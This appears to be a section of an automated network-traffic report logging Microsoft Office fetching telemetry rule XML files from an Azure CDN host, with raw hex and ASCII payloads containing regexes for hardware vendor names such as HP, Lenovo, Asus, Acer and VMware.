Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:08 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075508Z-174f7845968nxc96hC1EWRspw80000000uyg0000000028ad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:08 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:08 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:08 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075508Z-174f78459685m244hC1EWRgp2c0000000v1g000000002818 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:08 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:08 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:08 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075508Z-174f78459685726chC1EWRsnbg0000000v5g000000006b3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:08 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:08 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075508Z-174f7845968cdxdrhC1EWRg0en0000000v10000000009mmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:08 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075508Z-174f7845968ljs8phC1EWRe6en0000000v30000000000rnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:10 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075510Z-174f7845968g6hv8hC1EWR1v2n000000035g000000000k1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:10 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075510Z-174f7845968kvnqxhC1EWRmf3g0000000e2000000000024p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:10 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075510Z-174f7845968xr5c2hC1EWRd0hn0000000by0000000007r25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:10 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075510Z-174f78459685726chC1EWRsnbg0000000v2g00000000cfr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:10 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075510Z-174f7845968l4kp6hC1EWRe8840000000ve00000000035n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:12 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:12 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075512Z-174f7845968ljs8phC1EWRe6en0000000uy0000000008zhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:12 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075512Z-174f7845968j6t2phC1EWRcfe80000000vag00000000435y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

